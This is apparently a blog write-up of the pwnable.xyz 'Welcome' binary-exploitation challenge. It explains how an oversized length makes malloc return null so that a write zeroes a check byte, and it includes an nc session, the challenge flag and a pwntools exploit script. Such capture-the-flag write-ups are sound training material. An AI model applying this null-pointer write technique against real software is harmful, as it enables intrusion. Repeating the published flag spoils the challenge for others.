Introduction

That is my first post in 2024, so I thought to refresh my knowledge about binary exploitation by going through the pwnable.xyz challenges in my free time. This post will be the write-up for the first challenge “Welcome”.

Gaining insights on the binary

The first step I usually do, is to check the mitigations of the binary using the checksec command in pwndbg. The command’s output shows that all the mitigations are turned on.

img(The mitigations status)

By executing the binary, I found that it prints out a hexadecimal number representing a memory address leak and receives two inputs, which are the message’s length and the message itself, as shown below.

CommandLine

$ ./challenge
Welcome.
Leak: 0x7f318f02c010
Length of your message: 5
Enter your message: aaaaa
aaaa

Finding the vulnerability

The main function starts with calling the function at address 0x100b4e, which is responsible for stopping the buffering for stdin and stdout. Also, it automatically signals the program to exit in 60 seconds.

img(The function at 0x100b4e)

After that, it allocates memory from memory the heap whose address is saved to a pointer HeapPtr1 and sets its first byte to 1. Then, it prints out the HeapPtr1 value that represents the memory leak, we saw previously. In the next step, it receives from the user two inputs: a number representing the message size and the message. The message is a string whose address in the heap is saved into a pointer called HeapPtr2, as appears below.

img(Allocating memory for the message)

Finally, the last byte of the message is set to null, and the program prints it to the screen. Also, as appears below, to print the flag, the first byte of the memory pointed to by a HeapPtr1 must be equal to zero. However, it’s equal to one.

img(The vulnerable code)

The above highlighted line represents the vulnerability that will enable us to set the first byte of HeapPtr1 to zero using the message size that we control.

Exploiting the vulnerability

To exploit the vulnerability, first, we need the result of HeapPtr2 + msgSize-1 to equal the leaked address. That is achieved by inputting the message size with value HeapPtr1 + 1, which will cause the malloc to return zero (HeapPtr2 is zero), as it will fail to allocate the requested memory size, leading us to set the first byte of HeapPtr1 to zero.

There are two ways to exploit that binary, the first one, as shown below, is achieved by converting the leaked address from hexadecimal to decimal. Then, incrementing and inputting it as message size. However, this conversion must be within 60 seconds before the program is signaled to exit.

CommandLine

$ nc svc.pwnable.xyz  30000
Welcome.
Leak: 0x7fac38973010
Length of your message: 140377660534801
Enter your message: 32323
FLAG{did_you_really_need_a_script_to_solve_this_one?}

The second way is to implement a Python script that uses pwntools, to automate the previous task, as the following script.

exploit.py

from pwn import *

conn = remote("svc.pwnable.xyz",30000)
data = str(conn.recvuntil(b"message: "),"utf-8")
lines = data.split("\n")
leak = lines[1].split(":")[1].strip() #leaked address
OverwriteAddress = int(leak,16) # convert it to decimal
address = str(OverwriteAddress+1) # increment the address
conn.sendline(str.encode(address)) # input message size to be equal the leaked address + 1
conn.sendline(b"random") # send anything and it will work
flag = conn.recvall()
print(flag) # the flag